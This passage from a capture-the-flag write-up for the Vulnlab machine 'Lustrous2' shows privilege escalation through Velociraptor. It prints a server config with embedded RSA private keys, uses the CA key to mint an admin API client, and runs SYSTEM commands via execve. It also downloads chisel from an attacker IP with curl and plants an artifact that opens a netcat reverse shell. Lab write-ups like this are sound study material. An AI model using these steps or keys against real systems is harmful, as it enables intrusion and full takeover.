MDkwNjE1MzQwNFowKTEVMBMGA1UEChMMVmVsb2NpcmFwdG9yMRAwDgYDVQQDDAdH
UlBDX0dXMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA06PnTBbNesX2
SPzeL4CIdF8mhyGRU7kdargtiJ5I9v0QmSFZqzlEZjfG7CFfdsP7PR2e1xVrnqT1
LD9DjgiooyZATp8R3GiZq9+d8Xmf+oMUcP14grjiyrvvaYHm44Clv8ZHEJ4tcY3a
AQfbPSRMhniMmlaWoD+PeelIKhnmt51jMVGneMTHnXMr5/5J2K2uUrLONl2j/Ifz
OTCNsAH4eO/kCrO/e6E/6vLxPCpf1VrmasYiKmvGLynJmHERmdcXxjDzUMNRHuDN
fVSpnES8djZD0ebDYyRmEjLX/9rrIVGiIZfhp1CE+Vh4SZufupLewbWnmej5VyDi
HiNLB8H6kQIDAQABo3QwcjAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYB
BQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHwYDVR0jBBgwFoAU300cohhg
ajq+ReeNb/KTmJHBcwAwEgYDVR0RBAswCYIHR1JQQ19HVzANBgkqhkiG9w0BAQsF
AAOCAQEAxBdSHpT10hPHSa9BgsegHnwHMY7TT8n6Tik0Z5IW6v3n2XvUy94V6PPr
4HijeAqHK6e9uPaNg6JVipvzz8TK0j1dhk08C94OYXCLq6z8AjNr+h2BMTWVQxoz
K3zeoUJxU3dM4/zSO6i9rt/XqeCZ3EHjGRdVmvzAflcJagjuDBgbj/jtf5mfSkv3
XU0ald7/50jqqes8IgvJmiAJQXvfnS5LIZNwJdrYgJUx5mSLL8PPq+UkZqkUG3bW
gq16sjLC6asEspqrXPdh4RvovW6m3stT9kFszTYHd9+XB5uKEP3m1Zp5QlB/gIUV
2pB+YF8wgSEbAYDOdU7AC9imbqT+Kg==
-----END CERTIFICATE-----
gw_private_key: |
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA06PnTBbNesX2SPzeL4CIdF8mhyGRU7kdargtiJ5I9v0QmSFZ
qzlEZjfG7CFfdsP7PR2e1xVrnqT1LD9DjgiooyZATp8R3GiZq9+d8Xmf+oMUcP14
grjiyrvvaYHm44Clv8ZHEJ4tcY3aAQfbPSRMhniMmlaWoD+PeelIKhnmt51jMVGn
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sGJHvZ6dlaoPZ5EuXH31fJnH0b4+QVJKi1Sko6E8p2yoL+sWNYygfdk166yoTB3y
Hg4rmnSIHew0u+iMKsc0QrT4dX7gvXZrFd8Ipcytv5mPNFiMSxvUk7rUOTIPQiHz
nuBlRRUCgYEA6B6NhsVA3a6AJsNEWzzgn/wDa189fEtAdgEDn8ma9IuA8jSgrb1c
0dJxyrk+0K/LPlTcgnWd0QYB78XBUey987JYFdJ8IXgcYm2bLw4grnR5kRxU8aUD
KBnwEfegKS6F6iHDEB6SxicI6gCA0pZvU7MK3fFpvY38TjocGhmCOx8CgYEA6Wn7
aCMX9h3B7O80rY8izsZ6Rzh47ZfIsZeuYQ49I4pVS4ayYShrfPtC2XEjiEzqFkPt
B1VEZVKkx40qdU934sJ22w+uZm9YAalRmgfB1/jasvhEYKOcPmVbwg+0F3+XILuV
XVAhp4XMqrfH0K0rOmZi0ctZUYZFkVu/xHDyxE8CgYB5SgW/53CWpak3GA+u8Sea
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IZ1LDeun7fpp0fl/NdcUFwKBgQDXxvL0BSU8j6vbxhKzs9PgxZj6yBj6w8tzaZ55
+LjKZzKMvHug18XuZzUYYMARW9E3PhocIlY1ON4936F1iz5v8YgA4RE/fwUjnAxk
0XEAn/xFYL+NexKQmBDoaK363yetydu9xLsn68gVtgnRPpTsywPloA/1DqS3SNMR
3bx/fwKBgARuKalgwUyZrhgfD2vCGpR/AY3uPr0fNlf5fG+OXbN6Nszble9ygEy2
xE2oXqlSzerMO7ZDjlXvB515RS+THCHCgKW3WiULDa7a4SmgW5blULikwFud0+rb
jtGge0RBkkRizs9T1rv5qOJObnVEn8EOZlj8ICfcNxnG45I/J44+
-----END RSA PRIVATE KEY-----
public_url: https://localhost:8889/
links:
- text: Documentation
url: https://docs.velociraptor.app/
icon_url: 
type: sidebar
new_tab: true
initial_users:
- name: admin
password_hash: 43b7f91087b5a1bcb978d776a23330d3bf4a2c31017c0b1865ddae21c942e06d
password_salt: 01e48c09468dcde741b493c49904cfdfcb4fa9a188efb27fa233e70265a6d4e5
authenticator:
type: Basic
CA:
private_key: |
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEA4ycNgoEBGTgOFhs9okotlq3uN9lxxjzZkkgm+O0xtwSFu2D7
w+9363BIYV9osVi1z6X7O6kHTHvWYua1dekYF8NuUfcdd2sFOdSfylHjYjMZq0Af
SkglBzt3vJAxLiwtMFduiu+k1V/CiJtL5JST+Jqb+zI/QoBwTeKhsE6gdcu4dsMk
2p1CZcGrGP5RlObu8OMI9s+vjjjgPv0vTRIid0sPn3HfnZmtgpM6hRGIqGtxhA/r
3iH7vjhUclmjtz3HtoFee2V55YtwIbUDKBW9cOZejuSEM4aylO4p3Nykm/JBvtr8
0AeI8Bi1NPsG0pMnJF2PuefdriBt7Vb3cvi/WwIDAQABAoIBAHUmxwjvj6l6B4nP
MtJof2qe+aVEODGNYIjZPYBUlLdXVcF2G2LKNobuueW+VzhgECSv7gqu+lyv4bnQ
UvYk6ZAX8uXDFSdpwqA40NB/u04CHNL9lyWwX6iDOxW9KCAwGH4+GXz+a3zAjov1
zAZvuoEU/C1plMavhzwkDk/nvUoCdrSLNPsz0s0RbNkR7fPcJ2QrwYIyHhNb56Ab
Jyy4A8gXUz0zkL4Upk6bHPxhFeW9gA9BlAcB8DsdcPxTqbrus+B3yrfKO+hqWT0w
/jtDssJxdnkULazO2e9ypEJ2XsNEr4NYi1PcsHD667T6EnKQm6odGWN/455FWbt0
LFfoCkECgYEA7bUZ8wZh8M4C+JRm5fKq7N/pIQniQfDf+naFy7nG+9QiZIsofyHB
0PiuzSXNDEVsaSJn5cn4+BFO1RfRaHmM/sUsrKzaUKO5fTa4aAhZXUBmdw+s1Sm1
HbXea/uKTQEdzwL/tcRBQxIr2RveCCykYO/p5pTd9YKVtCGx5PgOHYcCgYEA9KIE
fqvfHP4NZDbsExC83K3Dgx3MKUlKosyBRVdQW6d/eJJymEa5WcHOxM9Q81ZOi7VS
M3UfU1C1ihCiuYZWNZcFeiBODoQe40nqxBzAklAYtavagMyluP8zdnbnFek1ncDy
IXIdIPv0COBLiJSUkQubcWVRG95mu/h/oMd4pI0CgYEAsknqS6hW32l1OwL75q7L
Wt1amygxpunG5LHvCm2t/IYQwb7KQgiMuXM8kKwwjmqntHdU3DpP3agFq7iwnR7G
DPTQ3DbNjDwwzOS1DXptpI7AC78bD8q3iLA3QmCpS7ZxqCoEp02q8WZ4st+++fyZ
0gdANW0kyZcHN9Mp/aW72JMCgYEAhjImgxJndzEKSZIzWJYS9H/Bw7hh2bgh4EKN
G2u1YkH1FEBJ6qzJWqqNcbtEbehHeC5EZIP4ZizdGVrc2ScPPaCV2ZPFHgNuKkLP
LTuUi+6yT15xo7wfoOcl5PN++q8OwXYpnR1LS1/LU98usELJaPPUFpV8s+wBsVW1
NY6W6LUCgYEA6kDkirjXD9JH6P3+L6k3HPnt9WIQYlBALpPtddBpTezGjNiJYI0L
/GrDzvObjMKSBwwi0kwjKAlYz2TTRercnR5mxGvJP0oAUGH7LE4WNctJ9weSeHVv
8k3Z45vLlh/YEZ8EomicZxJXOmZuzu+lVkQnsJncQrcHXb+eVIzQPjQ=
-----END RSA PRIVATE KEY-----
Frontend:
hostname: localhost
bind_address: 0.0.0.0
bind_port: 8000
certificate: |
-----BEGIN CERTIFICATE-----
MIIDWDCCAkCgAwIBAgIRAPXtfqGOQcgRFqEpDR1b9WwwDQYJKoZIhvcNAQELBQAw
GjEYMBYGA1UEChMPVmVsb2NpcmFwdG9yIENBMB4XDTI0MDkwNjE1MzQwNFoXDTI1
MDkwNjE1MzQwNFowNDEVMBMGA1UEChMMVmVsb2NpcmFwdG9yMRswGQYDVQQDExJW
ZWxvY2lyYXB0b3JTZXJ2ZXIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQCg56lQ2EDtnQkvzPBjCtztxbPJk0UQEeZnXOGU0ckkk0MnmOwiBmODh3EvP6qh
K3BfpkZDe7bDie70FZQQNDvE+kt+HsQ09p7ct9nJpuK32rl5v1OPw17RVWEczmk8
OTXn3tv53aIUEbZbBzV4ykQeaMMX3qSEHY3zFUO+aR9VUYC2W7lb9QHZkze7Q0q5
L2kECzvEaJmeofeaCdE2OxOT0a0IBQuoEzDyjfhfQWqiYzJEhTdUxI6ZAF436J3Q
RKjtO/maGMa1AX0yfe/0xnt/ylTZ0liHdHINph2Nfgftkq6xQGy6rklvA3N3Fer+
GQnS+m9CSlbgbrsTF3+vqw7DAgMBAAGjfzB9MA4GA1UdDwEB/wQEAwIFoDAdBgNV
HSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAfBgNVHSME
GDAWgBTfTRyiGGBqOr5F541v8pOYkcFzADAdBgNVHREEFjAUghJWZWxvY2lyYXB0
b3JTZXJ2ZXIwDQYJKoZIhvcNAQELBQADggEBAEOgxsbWOfpkB8s2fxS2w5tKxGZZ
F+B5ZhBocxrDKMbKjAtX6rmSSlsuXnZ7Kv0OnCYnQQa9Qojo6Xqt5YRp9i+c5Dw3
u5a5wTvvzrMFs8GrUm1YHPA6nzBGCXPLjqwpI6OnCrDHJCgIyNh6Sl6pg6IAutyW
QqRRO6fQlj4o8qwEz/jmL68/rDOmw0B/BcvKZ7k9dJoAYw+niOEAGxi1AtfElWQS
7rqG+J8J9mrvjtbsUSoXhtmp7W+3VOlxXtUapv0hVLmEwC++XMRsLLHoZ5jSXgRn
HhytjMV/UyABzK669V7+K0Kcm3NCHjX1D8P84cxNh9fSg+NNg5orZBnPClE=
-----END CERTIFICATE-----
private_key: |
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAoOepUNhA7Z0JL8zwYwrc7cWzyZNFEBHmZ1zhlNHJJJNDJ5js
IgZjg4dxLz+qoStwX6ZGQ3u2w4nu9BWUEDQ7xPpLfh7ENPae3LfZyabit9q5eb9T
j8Ne0VVhHM5pPDk1597b+d2iFBG2Wwc1eMpEHmjDF96khB2N8xVDvmkfVVGAtlu5
W/UB2ZM3u0NKuS9pBAs7xGiZnqH3mgnRNjsTk9GtCAULqBMw8o34X0FqomMyRIU3
VMSOmQBeN+id0ESo7Tv5mhjGtQF9Mn3v9MZ7f8pU2dJYh3RyDaYdjX4H7ZKusUBs
uq5JbwNzdxXq/hkJ0vpvQkpW4G67Exd/r6sOwwIDAQABAoIBABDuT3KiTrKyA3V0
KxdA3V5nnzNmu62lNIlLzLDMIk4m8LoJ7U7nPTFp3w8Js/qhh4GJDXusWN7adLpa
SuoplOB1NdxfgGXSTYUME26UkOanrTySVUibVi7QvRc64PflTTbIzHzORW+3LWkG
qSm8ns5UV7L7SnRcZ8NcSXSPuyxO7GU4vBz4WgAjrh957OeZ3qoFXrpCjrY4KBpo
FRTsN7H6eW4jrqR0UH8rBWJWSfZbDeF639/uT/Am9TNdjf6eio6Go7PS3UnhUboD
qUnRRZ/i7qyLOxse7/nN3JZ/n8A1E8fKi6lzsvVxdl4A3FiJTAG0+6IEESKFcFPc
HaKUlQECgYEAwAoloV5zFvm/+QMHA88duzhXG7cmUjj1U5l5sEOJGLrhDmClMsvU
8WvBMgD4DitFRXMcjBwoLrT2+ovwuOToaq28yEMFJOWeQxehElmlQU3/BubKKbwW
5BzKqwtEXe4LPeKHIbEO4YcESykevPToQRNDUj/2PkTJMeiyq4Ut/tsCgYEA1n7h
G1ef83f3iqFdrG0VmqTyKsHG/pt4bws/Xjzkl7jI/o6I80lsZNE2VQTCEvAZnCrF
3xbSbjP3XyF4vBPg84RaSLXeIjpaewVHqD4ULkWr4K3Dl7DbqFhJsB6UTyCcrOob
w3bvuYjMO1TTKFdigkCRysghfe6O2/nSEDSA8DkCgYAME1dEa2T/R9sbdGZHhgmP
kT5g/sZJG03J4Pe27rg7Nt0aA1e/9vM/7w+p7keq1Gu5r0BXSxn3vedd39jWN4ap
1pztVtGG/W1TOLQnLD3o+leT/oUt1Kb31xujX8T/xw0r6genRbPy2IObmk1Vgmzs
UqLEFEOOrNKd8czyXiCDSwKBgAR4hIyjWOwkNf6numIbq/WbNoj5nQI1j18RJvL5
5fHboiTcJ7Kady3qxm0jOkBWzNHaemFaAmzVnHRZKEETUP8CZTdawxSHjtc9lu7E
zHribOCz/n2s7AcoP/Dx0jmL/ngEMSvz0K9XUJpz/Cq9F4qLef52CWysikG/hUdd
MMrRAoGAcPum1dTTGA2mxdhvFt1u7P3Fm/odRknxc/e0XGwV7XYAQ9Q5zuuBk4qZ
R7proGkDxl8ofBfF7XTMv3HX3Q+L4iJl1SR8GNo15+o2yhYpSgCziQRcjDU6eKpd
Nogpnbs9EeMrd/ctCGubMQVa5ZybdByMU082iqaObson+3+A498=
-----END RSA PRIVATE KEY-----
dyn_dns: {}
default_client_monitoring_artifacts:
- Generic.Client.Stats
GRPC_pool_max_size: 100
GRPC_pool_max_wait: 60
resources:
connections_per_second: 100
notifications_per_second: 30
max_upload_size: 10485760
expected_clients: 30000
Datastore:
implementation: FileBaseDataStore
location: c:\datastore
filestore_directory: c:\datastore
Logging:
output_directory: c:\datastore/logs
separate_logs_per_component: true
debug:
disabled: true
info:
rotation_time: 604800
max_age: 31536000
error:
rotation_time: 604800
max_age: 31536000
Monitoring:
bind_address: 127.0.0.1
bind_port: 8003
api_config: {}
server_type: windows
obfuscation_nonce: rr5IuJp3gwY=
defaults:
hunt_expiry_hours: 168
notebook_cell_timeout_min: 10
That contains a certificate. This is default on Velociraptor installations
- The documentation encourage you to delete those security reasons but it’s not enforced
Using these certificates, it’s possible to create an API key and then perform actions as administrator inside the application using the server api.
Attack locally on the Windows target
Create an API client file with CA private key:
C:\PROGRA~1\VelociraptorServer>velociraptor-v0.72.4-windows-amd64.exe --config server.config.yaml config api_client --name admin --role administrator c:\temp\api.config.yaml
Double check:
C:\PROGRA~1\VelociraptorServer>type c:\temp\api.config.yaml
ca_certificate: |
-----BEGIN CERTIFICATE-----
MIIDSzCCAjOgAwIBAgIQIRnpQjrW1aIURqQbu2cKojANBgkqhkiG9w0BAQsFADAa
MRgwFgYDVQQKEw9WZWxvY2lyYXB0b3IgQ0EwHhcNMjQwOTA2MTUzNDA0WhcNMzQw
OTA0MTUzNDA0WjAaMRgwFgYDVQQKEw9WZWxvY2lyYXB0b3IgQ0EwggEiMA0GCSqG
SIb3DQEBAQUAA4IBDwAwggEKAoIBAQDjJw2CgQEZOA4WGz2iSi2Wre432XHGPNmS
SCb47TG3BIW7YPvD73frcEhhX2ixWLXPpfs7qQdMe9Zi5rV16RgXw25R9x13awU5
1J/KUeNiMxmrQB9KSCUHO3e8kDEuLC0wV26K76TVX8KIm0vklJP4mpv7Mj9CgHBN
4qGwTqB1y7h2wyTanUJlwasY/lGU5u7w4wj2z6+OOOA+/S9NEiJ3Sw+fcd+dma2C
kzqFEYioa3GED+veIfu+OFRyWaO3Pce2gV57ZXnli3AhtQMoFb1w5l6O5IQzhrKU
7inc3KSb8kG+2vzQB4jwGLU0+wbSkyckXY+5592uIG3tVvdy+L9bAgMBAAGjgYww
gYkwDgYDVR0PAQH/BAQDAgKkMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcD
AjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBTfTRyiGGBqOr5F541v8pOYkcFz
ADAoBgNVHREEITAfgh1WZWxvY2lyYXB0b3JfY2EudmVsb2NpZGV4LmNvbTANBgkq
hkiG9w0BAQsFAAOCAQEAt4tFN1KZF1wrmhOT/1f0DXnwgaACkhJmC2HARfp46hGY
FvqumxwNkUTc0hyPdwK2iy+57RCTS70CgGvsvSf6bDx7jSBpBJ8KzYXxOwcNRPaK
4KJV7ZQQA2U6ax3c5LNuUupY63tRh7j/AgeVvnVP8CLTEvWTHD1kEQ/cTyn0XDSn
7yINImANYuWJkWO6i9eKXYxTGXWhG+n1xEmQvZIed8SsOyt/pvTbFnUtKNTokUnb
B71PNi/CkZRJpULuAk9eJvLgKhEgIeVpY2rxYvVPBJNqwWwGypKOzWGX0+ueQReQ
is5cJn9DbPiu82yg/HdQu9vfroG+QktqdZgx5KJkxA==
-----END CERTIFICATE-----
client_cert: |
-----BEGIN CERTIFICATE-----
MIIDPTCCAiWgAwIBAgIQD4ZuNX4XndXXQtWlf8KDtDANBgkqhkiG9w0BAQsFADAa
MRgwFgYDVQQKEw9WZWxvY2lyYXB0b3IgQ0EwHhcNMjUwMjAxMDIzOTU3WhcNMjYw
MjAxMDIzOTU3WjAnMRUwEwYDVQQKEwxWZWxvY2lyYXB0b3IxDjAMBgNVBAMTBWFk
bWluMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA3C3E8rlKk8894rAw
C9ke/ePB6Bt8hD2O5beNy22cCLOoYzkPecuRTaE16Ko7Vd4sCQNrHs367/LAgara
7DbsnG22mikaqIxtLAekQZFRe+h/6uV110hTmpju6g2TWonFehrFq/up9kyeaJYK
cTPchsSElW0gfHK+fua3aC2jcG2QUzgEOCPpyq9jOZFcI2ZLO4fvNLFeFwJK+jxS
3Qz6zo45cO6Ray9OR80A46pvrBc/aRoiGvviCGVbLn4Lp/dEzGHzAfSwj+0FgmR1
4uuOLZ6/OareAZijf3skZP+q8Pxu6dCR/Ts7drIz30cL0MbbkGZjmf3+YYeEhrb0
j7jFbwIDAQABo3IwcDAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUH
AwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHwYDVR0jBBgwFoAU300cohhgajq+
ReeNb/KTmJHBcwAwEAYDVR0RBAkwB4IFYWRtaW4wDQYJKoZIhvcNAQELBQADggEB
AJtYfFfcKE5jK5pB8Vnt2vVfSQL3Y/6tVePxbYMTwe5S2gva4HNpXhJOIaCF89lS
fKCgnAGxIdPz/4ST4mvvUkE8Yv7jgafKDSZTkF2xYhrBXZia8QcdXJVXw5hGfui0
7MjcDDKOYP+ecE0OavBjNZk91wJry/4mhuzT3UsTj+Y4/pi0UtpK7M6fpWBWkT0H
roROTG8R1wfM0MgR/llK5uj+RkfF6Tbcf4MAyRNAOdC2t2yYY94jGKnf3nDpmVy8
767CSZc/o9AfM0YjJDBgFvDb8XLmf0hQu87l6ehlf49lmMrHczQqKhA2xtpbnu/p
vY0EGs1sRBmWH2k6imo9aGU=
-----END CERTIFICATE-----
client_private_key: |
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA3C3E8rlKk8894rAwC9ke/ePB6Bt8hD2O5beNy22cCLOoYzkP
ecuRTaE16Ko7Vd4sCQNrHs367/LAgara7DbsnG22mikaqIxtLAekQZFRe+h/6uV1
10hTmpju6g2TWonFehrFq/up9kyeaJYKcTPchsSElW0gfHK+fua3aC2jcG2QUzgE
OCPpyq9jOZFcI2ZLO4fvNLFeFwJK+jxS3Qz6zo45cO6Ray9OR80A46pvrBc/aRoi
GvviCGVbLn4Lp/dEzGHzAfSwj+0FgmR14uuOLZ6/OareAZijf3skZP+q8Pxu6dCR
/Ts7drIz30cL0MbbkGZjmf3+YYeEhrb0j7jFbwIDAQABAoIBAQC0Wp1wQY0wRFsp
/C5vFhwH1m+4pAM8A3yw+MkicJeWnSt6k3v0xWYxk7Mn8YGHFeU2QOGXKxy5Pjyo
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ofON39/5n98p6SxrOrIVunh4Fo6zMII3ui4qHiy+OSXMrpEPYjBpqIgG8TrMdgjT
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yyABRvxHjtCqgMx62tCyOEOgDMLxOcB+rwFlj4ofXbg8wT8QLDtN2g==
-----END RSA PRIVATE KEY-----
api_connection_string: localhost:8001
name: admin
Now we can run queries as administrator against the API, allowing us to use execve to run system commands:
C:\PROGRA~1\VelociraptorServer>velociraptor-v0.72.4-windows-amd64.exe --api_config c:\temp\api.config.yaml query "SELECT * FROM execve(argv=['cmd','/c','whoami'])
[
{
"Stdout": "nt authority\\system\r\n",
"Stderr": "",
"ReturnCode": 0,
"Complete": true
}
]
We can grab the final flag like this:
C:\PROGRA~1\VelociraptorServer>velociraptor-v0.72.4-windows-amd64.exe --api_config c:\temp\api.config.yaml query "SELECT * FROM execve(argv=['cmd','/c','type c:\\users\\administrator\\desktop\\root.txt'])
[
{
"Stdout": "VL{948164bdc2e92cc1eeb5699bbde09fa1}",
"Stderr": "",
"ReturnCode": 0,
"Complete": true
}
]
Attack remotely from our Linux machine
We use Ligolo-ng with the CIDR hardcoded 240.0.0.0/4 from ligolo and this: sudo socat TCP-LISTEN:8001,fork TCP:240.0.0.1:8001
Then we have our tunnel to access internally to Velociraptor.
- Transfer the
server.config.yamlfrom the windows target to our attacker machine (it’s a goldmine since it hasCA.private_keyinside the server config file). - Create a velociraptor client API config locally on your machine based on the grabbed
server.config.yaml:
$ ./velociraptor-v0.72.0-linux-amd64 --config server.config.yaml config api_client --name admin --role administrator api.config.yaml
- Add admin roles to our config:
$ ./velociraptor-v0.72.0-linux-amd64 --config server.config.yaml acl grant admin --role Admin
As Velociraptor uses gRPC to facilitate automation bindings, our plan is to use python and launch artifact collections against a client (the windows target).
To do that, we need python bindings for velociraptor: https://github.com/Velocidex/pyvelociraptor/tree/master
- Then the final step is easy as we can reach the velociraptor from our machine, just query like this to grab the final flag:
$ pyvelociraptor --config ./api.config.yaml "SELECT * FROM read_file(filenames='C:/Users/Administrator/Desktop/root.txt')"
Exploiting via Artifacts
Note
- Velociraptor - Artifact “Windows.System.CmdShell”
- This artifact allows running arbitrary commands through the system shell
cmd.exe. - Since Velociraptor typically runs as system, the commands will also run as
System.
- This artifact allows running arbitrary commands through the system shell
Velociraptor is composed of the items below:
- Server: Centralises the management and collected data.
- Client: Agent that runs on each machine and executes the commands sent by the server.
- Hunts: Automatic forensic searches to collect data.
- Artifacts: Templates to define what data to search for and how.
Following the documentation Velociraptor - network communications, the Velociraptor GUI port (by default port 8889) using plain HTTP:
Let’s check the open ports (without IPv6):
c:\>netstat -taon -p tcp | findstr "LISTEN"
netstat -taon -p tcp | findstr "LISTEN"
TCP 0.0.0.0:21 0.0.0.0:0 LISTENING 2188 InHost
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING 4 InHost
TCP 0.0.0.0:88 0.0.0.0:0 LISTENING 680 InHost
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 928 InHost
TCP 0.0.0.0:389 0.0.0.0:0 LISTENING 680 InHost
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4 InHost
TCP 0.0.0.0:464 0.0.0.0:0 LISTENING 680 InHost
TCP 0.0.0.0:593 0.0.0.0:0 LISTENING 928 InHost
TCP 0.0.0.0:636 0.0.0.0:0 LISTENING 680 InHost
TCP 0.0.0.0:3268 0.0.0.0:0 LISTENING 680 InHost
TCP 0.0.0.0:3269 0.0.0.0:0 LISTENING 680 InHost
TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING 372 InHost
TCP 0.0.0.0:5985 0.0.0.0:0 LISTENING 4 InHost
TCP 0.0.0.0:8000 0.0.0.0:0 LISTENING 2588 InHost
TCP 0.0.0.0:9389 0.0.0.0:0 LISTENING 2516 InHost
TCP 0.0.0.0:47001 0.0.0.0:0 LISTENING 4 InHost
TCP 0.0.0.0:49664 0.0.0.0:0 LISTENING 680 InHost
TCP 0.0.0.0:49665 0.0.0.0:0 LISTENING 568 InHost
TCP 0.0.0.0:49666 0.0.0.0:0 LISTENING 868 InHost
TCP 0.0.0.0:49667 0.0.0.0:0 LISTENING 680 InHost
TCP 0.0.0.0:49669 0.0.0.0:0 LISTENING 8 InHost
TCP 0.0.0.0:49674 0.0.0.0:0 LISTENING 680 InHost
TCP 0.0.0.0:49677 0.0.0.0:0 LISTENING 2064 InHost
TCP 0.0.0.0:49695 0.0.0.0:0 LISTENING 660 InHost
TCP 0.0.0.0:49696 0.0.0.0:0 LISTENING 680 InHost
TCP 0.0.0.0:49707 0.0.0.0:0 LISTENING 2432 InHost
TCP 0.0.0.0:49726 0.0.0.0:0 LISTENING 2196 InHost
TCP 0.0.0.0:55456 0.0.0.0:0 LISTENING 2128 InHost
TCP 10.10.71.5:53 0.0.0.0:0 LISTENING 2432 InHost
TCP 10.10.71.5:139 0.0.0.0:0 LISTENING 4 InHost
TCP 127.0.0.1:53 0.0.0.0:0 LISTENING 2432 InHost
TCP 127.0.0.1:8001 0.0.0.0:0 LISTENING 2588 InHost
TCP 127.0.0.1:8003 0.0.0.0:0 LISTENING 2588 InHost
TCP 127.0.0.1:8889 0.0.0.0:0 LISTENING 2588 InHost
Found
8889/tcpso Velociraptor server is running
Set a proxy port forwarder:
Upload chisel on our Windows target:
c:\ProgramData>curl http://10.8.4.253/chisel.exe -o chisel.exe
Local:
$ ./chisel server -p 9999 --reverse &
Remote:
c:\ProgramData>.\chisel.exe client 10.8.4.253:9999 R:socks
Then configure our FoxyProxy extension in Firefox:
Then access to the Velociraptor GUI:
Ask for a username and password, we try administrator:administrator and admin:admin' but failed, try with operator:operator` (as 2nd account found previously):
Success
Create a malicious artifact to read the flag Lustrous2_Root:
name: Grab_The_Root_Flag
description: |
This artifact allows running arbitrary commands through the system
shell cmd.exe. The command is running as system and grab the admin flag
precondition:
SELECT OS From info() where OS = 'windows'
parameters:
- name: Command
default: "more c:\\users\\administrator\\desktop\\root.txt"
sources:
- query: |
SELECT * FROM execve(argv=["cmd.exe", "/c", Command])
Go to View Artifacts:
Click on [+] to Add an Artifact:
Go to Hunt Manager:
Click on [+] to create a New Hunt:
Check the box Start Hunt Immediately:
Click on Select Artifacts and select our malicious one:
Then click on Launch:
After few seconds, we can show the output in the Notebook tab:
Found the last flag:
VL{948164bdc2e92cc1eeb5699bbde09fa1}
We click on stop then delete to kill and destroy our hunt. Then we delete our artifact.
Another artifact can be created as below to gain a shell using our netcat uploaded before on the target:
name: Gain_a_Shell
description: |
This artifact allows running arbitrary commands through the system
shell cmd.exe. The command is running as system and grab the admin flag
precondition:
SELECT OS From info() where OS = 'windows'
parameters:
- name: Command
default: "C:\\ProgramData\\nc.exe 10.8.4.253 4443 -e cmd"
sources:
- query: |
SELECT * FROM execve(argv=["cmd.exe", "/c", Command])
Extra
Challenge solved! Use this link to share it: https://api.vulnlab.com/api/v1/share?id=44f1e888-d06f-4da8-9d1e-0382cf101254
BloodHound.py update
This fork of bloodhound-python now works against Lustrous2, after a change I submitted to fix the Kerberos authentication: